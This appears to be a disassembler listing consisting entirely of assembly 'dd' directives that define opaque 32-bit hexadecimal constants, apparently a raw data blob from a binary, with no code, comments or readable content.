		dd 0B7FDB8C5h, 0B351C8CFh, 623285Bh, 40DC7B4Dh,	8AEF31D3h
		dd 0B5E5437Dh, 8C7517FAh, 158011E9h, 7BBA6617h,	0C70AE06Fh
		dd 97DC7EAh, 36F6F5E9h,	4E787216h, 0E4C9A67h, 0B78F22CCh
		dd 40FD6C7Dh, 30960D6Fh, 40DBE170h, 93F0C1A2h, 15EFF570h
		dd 0A4CBE750h, 0A1270356h, 9BA4D5FAh, 20DC467Ah, 97D17F0h
		dd 0D3CEEE88h, 0D1547Dh, 44DCB076h, 0A12717EFh,	556D92CFh
		dd 0A4C6F501h, 0A1270655h, 2A1B35FAh, 2592B588h, 0A12717D4h
		dd 42E6BFh, 8F157A69h, 972948FBh, 0D0337819h, 8D5F7AC7h
		dd 77EA4AB6h, 7F295EA1h, 0BC494BFAh, 1CDFC3AEh,	7D2EA91Ch
		dd 2AF7A77Fh, 0DE74B6B8h, 33646317h, 7F5DA7B6h,	0EF256DB2h
		dd 0FA36B6D7h, 0AD604656h, 0C0DCC0FDh, 0B322777h, 0E36F6268h
		dd 13CB227Dh, 99612D79h, 27C709E3h, 4AB1F7Ah, 9212F303h
		dd 7FB520D0h, 0ABDC48FAh, 0F367E6F3h, 4AB1B302h, 7FB52043h
		dd 0C34C48FAh, 0FAEAF0B7h, 696041D3h, 0FF2948FAh, 9AA6848Dh
		dd 0E8A281C8h, 7F2948E5h, 5B16C76Ch, 7F9021F1h,	470848FAh
		dd 7D5E9C6Ah, 845F8195h, 5EC22F17h, 611C6307h, 946F1704h
		dd 0ED99441Ah, 74721094h, 7BA3853Ch, 7C77C7D0h,	0D0503C25h
		dd 353C4F5Eh, 0CD88A769h, 9144A767h, 0B353C26h,	0FE2EE95Ch
		dd 86891965h, 21BC5C7Fh, 0E0C104D3h, 0CDBC5139h, 0B5F0EAFAh
		dd 0D7BC510Eh, 94702FD6h, 7C703B80h, 16676D55h,	7497F5C9h
		dd 0DA87EFF3h, 63182DD8h, 3AD85F8Ch, 0CE41148Bh, 7C703B80h
		dd 166D3625h, 7C703BADh, 4ED39C25h, 0E87E04D4h,	0E82E2D07h
		dd 7C719007h, 4F7CFE25h, 187209CAh, 0A4BCD99Bh,	65F1049Eh
		dd 0A2BC5C7Ch, 0B902D49Ch, 0F3E34980h, 0C78CA2FDh, 0FD703C23h
		dd 0B9726489h, 0CCC1A680h, 1DBC5C81h, 90266E16h, 0DC703C26h
		dd 0FCD47EF9h, 56D9BFCh, 796D9BCDh, 0C6703C25h,	0D6557ED1h
		dd 2A2A1441h, 0D2847146h, 0EE890E00h, 0B0889A04h, 68AE12D9h
		dd 7C77BB08h, 77F03C25h, 0A36D47BAh, 0B915F2BCh, 88B22A80h
		dd 0DC55945Ah, 417AD8B9h, 0BD4653B1h, 849B8C02h, 0B8665938h
		dd 0EECA2EB3h, 0CE09271Ah, 24DF859Eh, 147A97FBh, 0E61916C3h
		dd 0AA0D20ECh, 9EFC97C3h, 0F024AA16h, 570DE74Ah, 5E4785BBh
		dd 3D0B5300h, 0F536D1EBh, 314B7F6Fh, 9D2B6D6Dh,	2767235Ch
		dd 3D7243C1h, 0AA5E79FAh, 3BFBCD2Dh, 0FFBC5363h, 52C6F3D4h
		dd 0A0363940h, 43707C30h, 65BDE20Ch, 4F58A32h, 0E081E3F0h
		dd 2C732F4h, 0D61DB0FBh, 0E468EE98h, 54C5EC8Bh,	89CC3DFEh
		dd 1CBC8B48h, 0B2D20449h, 0A7D2044Fh, 72CC3B8Bh, 1C7F8B6Eh
		dd 2C1E8209h, 0E51619DBh, 0C607641h, 0C769050Ah, 889DB98h
		dd 9CAD1F04h, 29CC3938h, 5C4F5AFEh, 4AB04CCCh, 0C7625513h
		dd 3FB4D398h, 0E4CED7FEh, 29D93F43h, 0EDB1DFEh,	6BBA2956h
		dd 6B92BC91h, 29CE1091h, 0E230CFEh, 0A65BBE5h, 0C7EBB3D0h
		dd 714EB6A5h, 47E87A8Bh, 2A69D6C3h, 2ACC3DFEh, 29CC3B8Ah
		dd 0EA22FE4Ah, 177C15A5h, 0B1D9C3BCh, 8B0C7180h, 0F7EE1B1h
		dd 9CAC4EF4h, 29CC2338h, 0F66AB3FEh, 4A09E03Ah,	0A54A38B2h
		dd 3D69826Ch, 99BCA9D9h, 1ECEA97Ch, 9CACF5DEh, 2EC13DC1h
		dd 9CAD2D0Eh, 462E8C1Eh, 23F9FFCBh, 0F06A19A3h,	5B31BB2h
		dd 9C07E702h, 0BA10D973h, 99D05C4h, 37B01425h, 2F34ABE6h
		dd 0FCB43F47h, 0BFD4203Dh, 0BEEF06EEh, 0BB91DF7Dh, 6993AA8Fh
		dd 0E4341F1h, 7C7A366Bh, 8CC47D6Fh, 0A80407D7h,	0C4ED6F1Dh
		dd 3ED06A64h, 0CD473CD4h, 6A814884h, 0F1BE50h, 0CF29E231h
		dd 75A59C3Ch, 5A16F665h, 0FB2AC63Ah, 0F7A6B23Bh, 59C59E7Bh
		dd 2B92283Ah, 0AAA6B168h, 60BFEFDCh, 3077CC3Dh,	0B6BFEF14h
		dd 7620BC45h, 0AE125B40h, 0F4124AFAh, 6FBFEF3Bh, 5525BC28h
		dd 778F9028h, 0F5F54A9Dh, 52167E51h, 16BE46CEh,	4F90EF14h
		dd 0F5F52636h, 232DA39h, 188846DCh, 1718071Fh, 485FEF14h
		dd 64261078h, 2C96FB21h, 16DCFB21h, 3FD8EF14h, 49A77B78h
		dd 359161F5h, 0EBBFEF14h, 0D2141A79h, 0F5F54D27h, 2439F995h
		dd 188846DDh, 0F3FDFA3Bh, 0D89346D0h, 0F04817B5h, 46C88DE2h
		dd 0B35647DEh, 0C570843Ah, 0CD4DB909h, 0D62C5B5Ah, 0BE99BF2Ah
		dd 3542760Ah, 44FF471Ch, 0B5207697h, 0EA6A476Dh, 0E69B24FEh
		dd 8D0AC07Bh, 0ADE64CE4h, 0F2318A7Dh, 41E4DC54h, 599F3655h
		dd 0F3F79F5Fh, 7C569910h, 5426C54Eh, 6CE9F5D4h,	0C9C5FCEh
		dd 22CF341Dh, 0BF8FD7EEh, 0DF1F4CEDh, 2CF0D211h, 6420A9EBh
		dd 97C56AA8h, 9F424C17h, 0A1CE8F9Ah, 0F50AFF20h, 0BF8F4297h
		dd 0B904B544h, 23DC3C5Ch, 454BB224h, 370D6B3Eh,	0BF424CFBh
		dd 9F957CB6h, 704240A7h, 348FFF8Ah, 1E7E33C1h, 0F6365634h
		dd 2C07A357h, 33D4241Eh, 0A723DB22h, 0B37C19DCh, 33DCD65Dh
		dd 88A25DC1h, 27A3B773h, 0C653CB3Fh, 54B60059h,	0F0356DB9h
		dd 0E230EB2Fh, 0C0F905AAh, 23BF3DD9h, 0E4F0AD96h, 40048331h
		dd 0ECC24C68h, 400474A1h, 11A2471Eh, 74479931h,	2B8DE9D8h
		dd 0EA393961h, 0E4082E1Ch, 4F3C63A6h, 0EABD5DC1h, 0BEDB431Ch
		dd 34BD153Dh, 0E6618BC1h, 96975D15h, 0ADD9BA77h, 11F8F13h
		dd 0EDC4C76Dh, 2CF3E2F9h
		dd 9E70C6F9h, 2676546Ah, 0EC0EE63Fh, 70733766h,	0B0E48DDEh
		dd 0BDAB3901h, 0B004F99h, 9E4044C5h, 97DB41AEh,	0BC305B41h
		dd 3AAB2C99h, 42697509h, 51E8B211h, 0BDA79C39h,	3E5E2C99h
		dd 0F0A0200Fh, 345D5195h, 0AAB1333h, 19E0B264h,	0C2AB2D62h
		dd 90C0F57Ch, 9CAB2C9Fh, 0BDAB2D2Eh, 0C1279527h, 5865A6C6h
		dd 4D62420Dh, 657D597Fh, 8156B089h, 0F7A39A95h,	0BDA5EA68h
		dd 0A7C52C99h, 9A2AF065h, 4FA81107h, 345EFCA5h,	82644CDAh
		dd 4CD24A56h, 34A38E39h, 0D79552DAh, 0E22E38C1h, 0C2AB2C99h
		dd 89BB9A7Ch, 0F43B431Ch, 30FEA2A6h, 90263213h,	84F06676h
		dd 3E46EA1Fh, 0F1015F1h, 0EC729C13h, 0F75E4A52h, 3E42F22Dh
		dd 338515F1h, 56C0817Dh, 58AC2CD0h, 8D77E44Ch, 5AB9F4DFh
		dd 5C2F617Bh, 6BF056E6h, 927CDDF0h, 0E7766970h,	0BCCA0A69h
		dd 984DDC14h, 0D5CA0A83h, 0EF97A8EFh, 8BCF5DEEh, 662F2767h
		dd 0E2C3CB41h, 0A1C3BD4Bh, 44CF5DEEh, 9159278Bh, 0F37562DFh
		dd 50CF5DEEh, 6BF057DEh, 28491CF0h, 17CA09CBh, 0D5F05716h
		dd 0EF97ADEFh, 8BCF5DEEh, 66262768h, 0E2C3BD49h, 7EC3BD4Bh
		dd 0ABCF5DF0h, 0AC442A1Eh, 0F75D6E79h, 6E07EB65h, 6BCF6898h
		dd 15FCBEF0h, 250FDF5Ah, 0C953EDBBh, 0EFB7CE7Ah, 0A81F5866h
		dd 0A159E7CAh, 6BCF5C0Fh, 5FD15DF0h, 6BC36C8Bh,	0BC6F5DF0h
		dd 0C94A098Eh, 31425D6Bh, 6B3D5D6Ch, 0B4B45DF0h, 0E5AD938Eh
		dd 6BD0DE51h, 66CA5DF0h, 0E6BEB40Ah, 8F8D17A1h,	5FD15C0Fh
		dd 6BC36C75h, 0BE6F5DF0h, 0B949EF8Eh, 31425D6Bh, 6B385D6Ch
		dd 0D5865DF0h, 60BCA78Eh, 797E5646h, 60CA0A59h,	0BE6D0635h
		dd 92CAFF5Ch, 6BCF6196h, 10BABDF0h, 8F76E171h, 8F8EDE8Ah
		dd 6BCFB28Ah, 0C432AAF0h, 5FD1AE9Ah, 5095379Fh,	1EBC5C1Dh
		dd 55A34EA3h, 739F69C9h, 24E17C67h, 7E17C7FAh, 0CA02E5DAh
		dd 0B1812BD5h, 84F463B6h, 281B09B5h, 3296F995h,	0F3C95D58h
		dd 0F50FAE5Fh, 0BC706BEh, 98E58B8Bh, 923DBDB1h,	179C4AB2h
		dd 21F87C40h, 0AF53DCE7h, 18A313D2h, 0D68E22E7h, 1DB00B8Bh
		dd 1D6801E3h, 1854BEE3h, 0D6863DE7h, 0EB7A71D4h, 0BDAA48F0h
		dd 17C7BAB3h, 18A38040h, 0F8D2FBE7h, 0D5AA43ADh, 0CC3B4943h
		dd 0AF53E23Fh, 18A313D2h, 0D68E22E7h, 1DB00B8Bh, 1D6801E3h
		dd 18A386E3h, 0D6863DE7h, 0B93FCA97h, 6EEA573Fh, 0E477B0Eh
		dd 5EAA48C1h, 217F10E7h, 0B8A382E7h, 8082C580h,	0A39B0BA7h
		dd 849B39A5h, 12A382EBh, 0EB7456FDh, 18A387E1h,	0B43F3A34h
		dd 98F21598h, 0DA6307AFh, 0B13CD847h, 0E0C33F0Ah, 18A3889Bh
		dd 967E678Bh, 0BF50DF95h, 58308005h, 218E4D93h,	74F1CF3Eh
		dd 0D5D08B89h, 811C9C39h, 3DD8464h, 3CFCF0EDh, 45D56238h
		dd 0B3636D17h, 6103BAB9h, 73BE1D94h, 5763F9A8h,	50300A1Dh
		dd 6B0D5E9Dh, 0C26DA426h, 9A63F63Ch, 0D52FF579h, 2D8F82Dh
		dd 8B065425h, 6A1416D7h, 0DDB1BCDFh, 96B1BD39h,	26065424h
		dd 0D27143Bh, 8CCC31EBh, 0C979A797h, 2AFF2B7Ah,	0B32FF019h
		dd 8C0D5E06h, 0C951A7FFh, 0FAFF2B7Ah, 6B2FF57Dh, 0D5065426h
		dd 295BA2Dh, 8B065425h,	6A62143Dh, 0DDB1BD2Fh, 0A3B1BD39h
		dd 44065424h, 863016D9h, 16AFE6D9h, 0EA149D73h,	6008F49Ah
		dd 0C93E9E5Bh, 0D279E97Ah, 605B1D14h, 0C952DBFBh, 0E91E97Ah
		dd 0D5C6C80Bh, 14955507h, 79EF91E0h, 0DAD56B60h, 8F7F35AAh
		dd 3256BEEBh, 0C77CB4EDh, 0F76D349Ah, 0A2B312FDh, 45632D67h
		dd 0DE393146h, 63F90AA8h, 0EBF20121h, 91210647h, 0C8B1D7EFh
		dd 2B3E10D5h, 3879C057h, 7ED1281Eh, 1191D49h, 0B8C67672h
		dd 6C4B69B6h, 80B33EE1h, 3879CE2Eh, 7655048h, 0E0CCC25Ch
		dd 9FC927C3h, 611CAD14h, 4214564h, 46102F2Bh, 38952771h
		dd 3894F856h, 8679CE1Eh, 96D0D070h, 0FEC8B333h,	9469ACBFh
		dd 0F182DADh, 0D90079B7h, 0D9B53EE0h, 5D7E20BAh, 803B2ABFh
		dd 3879CE3Dh, 7A81AFFEh, 0FF7A49C6h, 898944A1h,	3A2EB33h
		dd 593A80C5h, 0CD5D3A95h, 0A179CE49h, 0B08AA483h, 0F5B6B1CCh
		dd 0BF5C33E3h, 0FAA014C8h, 9210333Ch, 0E7A76EE3h, 0DB0ED8C4h
		dd 373CD50Ah, 0D3B3F68Dh, 0B23CF8D7h, 3379CE49h, 3879CE15h
		dd 34FF427Eh, 0C3A4CA1Ah, 9E6AC60h, 0AEF0CD5h, 5E917FB8h
		dd 0BF43513Fh, 42AA3EE0h, 0E28FDF9Eh, 0E542BEC4h, 0AAC8390Ah
		dd 0B515A1Eh, 2D82B2BBh, 17FBFFC4h, 5186CFBBh, 0FAC001A0h
		dd 4A1FE23Ch, 76A52045h, 0AD4CBD2Eh, 4976DAA1h,	0ABE4C1Eh
		dd 7668E50Ah, 8B3E2C7h,	9FFD442Ah, 9A4DBA85h, 18ACBD44h
		dd 0D9245C7Bh, 71CC466Fh, 9FA1466Ch, 0F0DBD44h,	2F4CF47Bh
		dd 3E96C028h, 220343FEh, 6717BD46h, 0FC705B22h,	0AD4CBD44h
		dd 435CBEFEh, 0AD474DC0h, 187B24E4h, 0B3A80199h, 0B3A80035h
		dd 0AD4CBD42h, 967B2284h, 9B1F7F96h, 805FACFh, 0FCA8600Ah
		dd 0A3FEBC18h, 76A531E9h, 0AD4CBD2Eh, 9E1B3CC5h, 0ACDEEFBCh
		dd 0B14984C4h, 3173EA53h, 9FFD43FEh, 507BEA53h,	0DDD24429h
		dd 0CB31B778h, 0B2A9E8A0h, 0A43951CDh, 0C76D04EDh, 3B4034DDh
		dd 0A3704560h, 0A3FD4337h, 34D50EBCh, 4304D4C2h, 0E28F359Bh
		dd 545B1199h, 3C4C2326h, 70CF2BDCh, 0E3BDC47h, 3A7940ABh
		dd 8B82E5E2h, 0A5BBF26Fh, 87C858F9h, 107CDDFBh,	0AF710DDFh
		dd 1F496260h, 0E1262C3Eh, 0E1D86C0Bh, 8F2507E8h, 3FB7742Bh
		dd 3FF077E2h, 0BB434529h, 7DAE036Ch, 8B9C500h, 2C3E9F65h
		dd 2F855C74h, 5462249Eh, 0CBDFCC31h, 0DA5EBB9Eh, 0FC002D6h
		dd 0ED4228FEh, 0D4F54354h, 83145CD9h, 0BAFCCCA3h, 0BECAE240h
		dd 68207444h, 5E4FCC26h, 0FE2FE5C7h, 56D5EA94h,	604EF9A2h
		dd 0A635B17Eh, 56D5CF14h, 913C09A2h, 0EE6FF14Ah, 56FCCC31h
		dd 1147ABD8h, 6CB99846h, 9FE2E809h, 1A8353B4h, 768AF4FBh
		dd 0BF2DBBC7h, 0BA244B44h, 0B382DAFh, 0B58F93AAh, 6F504A9Eh
		dd 56F0C1C1h, 0DB6D5182h, 0EEFCCC31h, 546B180Eh, 0CE7F5331h
		dd 2B332036h, 55FCCC15h, 0AA6B8208h, 0D5586E6Dh, 91A377C4h
		dd 0A374C97Fh, 54FC43AAh, 0F8B7508Fh, 2B38440Ah, 8634F8F4h
		dd 0A1BD5803h, 7471FA98h, 8ACDDF73h, 1F442F50h,	0ED23D29Bh
		dd 751088E8h, 0C5161B8Dh, 15DDA2F0h, 0E7591E8Ch, 6D025E6Ah
		dd 0C4CDD8F2h, 67AEB7D2h, 0CC890AACh, 0C53F5428h, 1145BE6Ch
		dd 0D6486666h, 0E35ED298h, 75AE175Fh, 0E62AEB0Dh, 0E35ED2C7h
		dd 87833E27h, 8A48666Ah, 0E361F808h, 911D0F97h,	9548E81Ah
		dd 3CDDF3Eh, 3A438B34h,	3BA666Ah, 0F91FC734h, 671A646Ah
		dd 8AD06873h, 0E7AFDF3Eh, 0F95FAE58h, 0B1CEAB76h, 2FCDDF19h
		dd 1FB3CA5Fh, 14760583h, 0DA5B3606h, 5F681FD3h,	1B76D080h
		dd 6289FAF3h, 80760582h, 95760002h, 0A7E58A82h,	4F066996h
		dd 2D69B3B6h, 188BFF64h, 95768A34h, 898653BFh, 9A5DFEBEh
		dd 1172D4B7h, 0E8627C60h, 85378773h, 64CB7C66h,	957627AEh
		dd 9577DD82h, 0D8EB0582h, 11A8453Fh, 72986282h,	95AADDDAh
		dd 8F430582h, 0F0206349h, 0A41ACAEAh, 0E31E6EF3h, 0B9272092h
		dd 0F5E1AABCh, 2A9C2710h, 0A4F8EFA1h, 3FF36782h, 7F8D1F71h
		dd 0AE066831h, 0B6E0A796h, 9170DEE7h, 22960582h, 0E3FFF6Fh
		dd 0F7323F7Ch, 0D392015Fh, 4F872BB4h, 98CCDC1Eh, 30A1875Ah
		dd 912F1916h, 3E638AE8h, 98BB0713h, 0F5B98637h,	80AF89B1h
		dd 9576202Bh, 9155DC82h, 0BDD0582h, 8DEB4D78h, 7A8B4A1h
		dd 0B21176BEh, 0B0A650EEh
		dd 3376046Eh, 0AB5C2F15h, 73319210h, 160CD9FBh,	0F68479C5h
		dd 10AF8868h, 3562D93Eh, 1E7010B3h, 0E8E47F77h,	6B3DF529h
		dd 0B4F0F6B2h, 0D761F7E3h, 0FA63F42Fh, 7738F54Bh, 0C9C66113h
		dd 680F7199h, 5C1FD7A6h, 5AC16EA5h, 9FB7F4AEh, 4EC4F3B5h
		dd 883CEDCAh, 593909D4h, 0C0423412h, 604F262Fh,	3A5D316Ah
		dd 8E5388CCh, 0D83E247Eh, 4EE6D917h, 18656733h,	45B6F089h
		dd 86BBDAAFh, 4EF401B8h, 649ECC64h, 46B9BCBAh, 0E2A85898h
		dd 1B7CFDB1h, 0B91FD44Ch, 0CDEBDECBh, 0BE08ED2Fh, 5E5F521Ah
		dd 3B65F4AEh, 3938F4CBh, 5C246FB0h, 3E85F4AEh, 0AA11EBBCh
		dd 2D3F4CAh, 7738FAA5h,	0F6490F27h, 4FC020Eh, 5E38F4CBh
		dd 0A50F5BF2h, 0B91FD09Dh, 8BBA3D33h, 71CEBC21h, 8DBD6E9Eh
		dd 0BC3847EEh, 0FA71A51Ch, 4A85EF61h, 5CC8C7CBh, 0A0A766AEh
		dd 0B91FD09Dh, 795EC833h, 0B6A48921h, 3F67EC8Fh, 0C9C99051h
		dd 5CC94C99h, 986EF4AEh, 0E6BEB896h, 9B0A939Fh,	6D1FD592h
		dd 3AD06FA8h, 6DF339D9h, 0FD1083AEh, 7938F465h,	0FDA4C0CFh
		dd 0A7B2B7ADh, 79B9020Eh, 55BA8BA8h, 3E4F67C1h,	21B90200h
		dd 4F63B84Ah, 18E2B6FFh, 89B9020Fh, 9F5D3822h, 0C152D8A1h
		dd 4EEA8D5Bh, 1E1E4E57h, 0BE93460Ah, 0C00174CBh, 0BB7CD2Fh
		dd 0A26937CDh, 39A5C272h, 3211DEE1h, 7938F4D3h,	6DBAB419h
		dd 77391913h, 9DE339AEh, 0DA9C0FF1h, 58B67028h,	0E6193256h
		dd 7738F49Bh, 9D553BD2h, 2C9BFAF5h, 0DCBF5836h,	6A26B675h
		dd 879D56F7h, 0C9CDDE13h, 0FF1CB699h, 576D00C5h, 0A275399Ah
		dd 0D6A003D9h, 8A0AE303h, 0E5E8D766h, 5CCDD00Ah, 0F69301AEh
		dd 0E86439B5h, 0D848DD2Bh, 0B7C3AE30h, 1D33576Ah, 0C39BFFC4h
		dd 0C149576Ah, 9A49576Ah, 0C14954D1h, 0DF5DDDF4h, 0F488DA48h
		dd 50EAF258h, 0C6DF9E9Fh, 6EEE9669h, 0D9960422h, 91F7B9A7h
		dd 934B6F79h, 8C83B5AAh, 216282B0h, 0AD916B39h,	235393BBh
		dd 7162714Ah, 0A411C5B1h, 0A5B99356h, 0ECDB991h, 0EAF8F1DBh
		dd 601F543Ch, 0EBB7A1A6h, 9118DC16h, 5BCA165Eh,	74C65F09h
		dd 893879FDh, 30621DB5h, 0FD4A8EDDh, 5C8BD32h, 3D9F378Ah
		dd 0ED5C051Ah, 0ECFA5211h, 1891501Ch, 42F7CD32h, 8E10D062h
		dd 0CA2FB6F4h, 223A7E02h, 951F4FD9h, 64193DE4h,	0BF185E65h
		dd 3EFFFBC2h, 39D11D8Fh, 1686E2EBh, 0BA850321h,	96EBFBC4h
		dd 2FEA80F6h, 0AF60C2DFh, 0B6ED0762h, 92EE41BEh, 15523232h
		dd 0BE5EBA48h, 392F5F15h, 0A2674D56h, 0DF495770h, 7162702Eh
		dd 2C1175DEh, 0A666239Fh, 26B63284h, 0C33D16F7h, 752576Ah
		dd 0AB3E6C78h, 212CF8C7h, 75877951h, 0EE3CC298h, 0B0FA4966h
		dd 0C72E4AD8h, 7B356D11h, 7D7F9CF5h, 23E40E7Ah,	116EC238h
		dd 8EFECC5h, 7D7FA36Eh,	71885700h, 0E5EAC812h, 0D9E73BAh
		dd 0FF06CF44h, 19591224h, 0BFB8E587h, 0E24B9E38h, 54180C4Ah
		dd 0A1CB4235h, 0C318DD8Dh, 0D8B637D9h, 0DB89373h, 0A5B9A2CEh
		dd 0A71BB62Eh, 8C84FCE8h, 0A5B98CC5h, 16F6D2E9h, 0B0B5B309h
		dd 0B30F5398h, 0E5469E4h, 4E022502h, 4E968DBEh,	6CBD1930h
		dd 0C1461F09h, 2D12DA6Ah, 0D10F0AE1h, 0CBC69E70h, 4731B460h
		dd 2E7CBCFDh, 14F13AD0h, 0B94A7601h, 35E334C1h,	0A53733F6h
		dd 9FB2051Bh, 0CDEABDEEh, 8BCC0F59h, 23D25D15h,	61090EC4h
		dd 0B0CE85h, 0E916E4A5h, 582E0DFFh, 7D4D91B7h, 6C753F8Bh
		dd 37F941E9h, 13052FA1h, 2A0574BEh, 79EF35Dh, 0C3A983F7h
		dd 72D576Ah, 1DBA5A54h,	63AC845Ah, 3129BC4Bh, 10B8C7A4h
		dd 2B966BAAh, 3379DBC6h, 0A5B988FBh, 2C4EFBBh, 8DE80A2Eh
		dd 0A4A035EDh, 9692D430h, 0EA88493Ch, 0F30E8063h, 4B746E2Eh
		dd 2C14D6EEh, 0CC821C9Fh, 0C2A9F3B6h, 0DED9CD94h, 5EFDA643h
		dd 0DDC93F4Ch, 91A639D1h, 14F0C1B0h, 27A4E995h,	0BF664C43h
		dd 0C149561Fh, 0E706B96Ah, 49A48105h, 2C106BEDh, 0CBCE579Fh
		dd 0DEA57DE1h, 35D65B58h, 0E25AD8BFh, 0D86AD3EBh, 0E3A23722h
		dd 96151A38h, 7284938Fh, 0C3C47C83h, 0DB5461FBh, 0FC7DDA2Ah
		dd 0EE27F51Ah, 0A1CEC027h, 80696277h, 23EF89DEh, 20ADB891h
		dd 0C3FCFEE0h, 0A38905BFh, 4BBD491h, 0EAD74CCFh, 2EDE49EAh
		dd 19B0480Ch, 0FD889C0h, 50D16237h, 5A11CCBFh, 99B39FDh
		dd 0EBCD7826h, 0B207F53Ah, 0B052D8D6h, 26162CF8h, 4F7A17E3h
		dd 48ABC2C6h, 4B9AB56Dh, 3D388A26h, 0EE5ACC6Ah,	0A58D4151h
		dd 0D6F65972h, 7A5D68F3h, 94A62E57h, 1ABA3B96h,	57DCA37Bh
		dd 33E0091Bh, 57DDD853h, 9C5B3BC8h, 0EAA8D32Eh,	8AED6369h
		dd 528021FDh, 0CD8988DDh, 5BF6DAC3h, 0F886348Dh, 4A7B05BFh
		dd 42C149A8h, 115396AFh, 91B05BFh, 7713F322h, 45CCFAD8h
		dd 57DCA5F9h, 0F387E58Bh, 5AAA05BFh, 63A3EBB0h,	0CA0A5FE5h
		dd 10DF995Ah, 0E3A1EDA7h, 0CBE2566h, 0B3600301h, 6D091837h
		dd 53A3A7B7h, 53D3C2BFh, 33539768h, 698FCEC5h, 9648E4D9h
		dd 1B231C42h, 7041BDA6h, 0D47702BDh, 0C6902D7Dh, 8C39041Dh
		dd 74D977CFh, 9FEF8303h, 6631C568h, 3B58B4BAh, 60BF35F2h
		dd 0AB637C0Ah, 5E1524FFh, 0B2AE48FBh, 5176AFB1h, 0F16143ECh
		dd 95CF07D6h, 71135813h, 94A638CEh, 4D2B7096h, 0A114BEEFh
		dd 92ACEDE8h, 24FA7DC0h, 8A2CD22Ch, 24562748h, 0F695B516h
		dd 0B50A5F70h, 59643CC3h, 473874C0h, 3C83A7AFh,	5480DF89h
		dd 0B28304B9h, 8B053E3Bh, 83E17098h, 5ADD283Ah,	3099B321h
		dd 996DEF5Eh, 162FC45Ch, 0A45EBB62h, 6F802692h,	2C941487h
		dd 0D7A70636h, 0E15A3A26h, 8DB8C61Eh, 24FA7DC0h, 89D71E89h
		dd 9DF11A43h, 3FF638E9h, 7F0D055Ah, 9EF5E399h, 9BC54647h
		dd 0DC18017h, 62525800h, 482933DFh, 0E517BA04h,	0AB7A555Bh
		dd 253A390Eh, 35DDD13Bh, 9B2A2090h, 8B44D71h, 7E6355BBh
		dd 76D2471Fh, 0A9C2D499h, 98C5269Dh, 0D23AB7B6h, 0ED8A776h
		dd 9F58968Eh, 9253B2E9h, 3B077A96h, 47ACB7A0h, 268C98AAh
		dd 2E05786Dh, 1E8EA5h, 6F63AD47h, 1E8841h, 0E717B647h
		dd 0A1199146h, 2E057876h, 0F6C1425Ch, 885C5C1Ch, 95749796h
		dd 59940C01h, 2CCC08C4h, 94B71360h, 59940896h, 7A000F78h
		dd 9253976Ah, 92539B17h, 2CCC1696h, 67F408C4h, 0DD1FF843h
		dd 75032348h, 10E05D9Bh, 95C75B21h, 92539101h, 0F7E73033h
		dd 6F474A32h, 0FFA429CEh, 0AEB3B32h, 80DB52C2h,	0C1153Eh
		dd 91DEA30Dh, 67F418D0h, 7A000F78h, 9253976Ah, 92539B9Fh
		dd 2CCC1696h, 59942AC4h, 6D50E0Bh, 925391C6h, 7C351096h
		dd 0F9539796h, 6D8F3BC3h, 4E2F7B7Eh, 397665Dh, 0C2193139h
		dd 871A2F69h, 4618DED0h, 7A5E1265h, 8A86DA5Fh, 0EE5DF9FBh
		dd 6E2AEFCh, 0E7E3ADC9h, 6CA13378h, 2C8524F2h, 7798EAD2h
		dd 0BAE56E66h, 0FD501869h, 5BCD6D60h, 28CFDB84h, 6DB69BD3h
		dd 925397EEh, 590A2B30h, 9253979Fh, 0Ah	dup(92539796h)
		dd 6B539796h, 9253857Ch, 0AC839448h, 5F06C6F1h,	29B0F57Bh
		dd 5EE3EF33h, 39A88EC4h, 69FEFC98h, 0AAA74C7Bh,	0EB3B846h
		dd 34A34EBFh, 6B0AC032h, 7E9D8D1Bh, 2EB37BE7h, 0FD8D3E1Dh
		dd 0EBC74FCAh, 76C3C42Ch, 36807B46h, 0F2F088ACh, 0BC231C74h
		dd 44683F5Fh, 18226E9Ah, 0A9372ADh, 0C2C57665h,	0A88489FDh
		dd 5CAAF4FBh, 2509B84Fh, 97485C8Fh, 1C6105BFh, 0C3C040B0h
		dd 0C4F81B64h, 0B03E4BE9h, 0D12011FAh, 0ACA1922h, 7C49BB7Dh
		dd 52E2F98Fh, 0EDD926E4h, 85BD3017h
		dd 0DDFCC87Ch, 0A59BB3B1h, 7A9CE772h, 0D31D9796h, 0EEC49A7Fh
		dd 7A092B9Ch, 0D025BB29h, 6269AADCh, 0E65507D0h, 8085A335h
		dd 5480DFCEh, 76C3CCC3h, 9F5CA7A5h, 2344C4CEh, 0FAE555E7h
		dd 8580DF22h, 2C049796h, 86DBAF5Ch, 0BD9A5C61h,	0D1BC9EE9h
		dd 4CFE9DB6h, 0C995F871h, 0B2C97B4Ch, 0DDB4EC03h, 59EACC2Eh
		dd 7FAA5938h, 5CA61191h, 346E6FFFh, 40212C59h, 0E687E4FEh
		dd 9CAA1191h, 3AF0B91Fh, 0A12AC25h, 0A1B374A4h,	2D9C6277h
		dd 0A9F99B02h, 0CB53BFE1h, 0CF6E3AA9h, 0E4765816h, 2F0F2D0Eh
		dd 0C10051E6h, 0E37496ACh, 0A6990E16h, 2FEAA875h, 8E58DCC8h
		dd 0A0C89E7Eh, 31ABCDA2h, 1214C007h, 7394A683h,	774AF77h
		dd 0C3CEE02Eh, 0F466D109h, 0D366EF0Bh, 3B0041C6h, 717B592Fh
		dd 40E0A585h, 679965DFh, 0EAF8D6F1h, 7A19DB8Eh,	0AF3EF85Ah
		dd 6F417CB1h, 0A6988F66h, 0F8C22503h, 0C976ED4Dh, 4D4D9CA8h
		dd 0B8A38E87h, 0DD8EB25Eh, 5BAA493h, 158423FEh,	0EA8DFBC0h
		dd 8AE00B33h, 5D68AD86h, 7C05DEBh, 43F3CA27h, 0E8ECFA9Fh
		dd 62910B33h, 35393A4Ah, 0B5BED275h, 90912B30h,	5766EB71h
		dd 2F290CC5h, 0B360C230h, 4D663CA5h, 0D8389B02h, 0EB8F6F96h
		dd 380155B8h, 46EBBDE2h, 11CB2251h, 88052506h, 24460B41h
		dd 8926AED5h, 309D425Fh, 0C2636C2h, 60FB81F2h, 8D537649h
		dd 458C0B41h, 51722F06h, 87ADA922h, 31D85654h, 6C00AD32h
		dd 0F0C46690h, 7D0BC0FAh, 0A162636Ch, 15F99B08h, 969D4C3h
		dd 5C21CADBh, 206982DAh, 0E8F70AF3h, 2F69D7BBh,	0BA9A428Dh
		dd 5DDB4417h, 0E529C40Ch, 649A4AFFh, 3F10ECA7h,	0DA73237h
		dd 6DA7855Eh, 3F198B6h,	0CA65AEB7h, 5541656Ah, 0DA09D65Ch
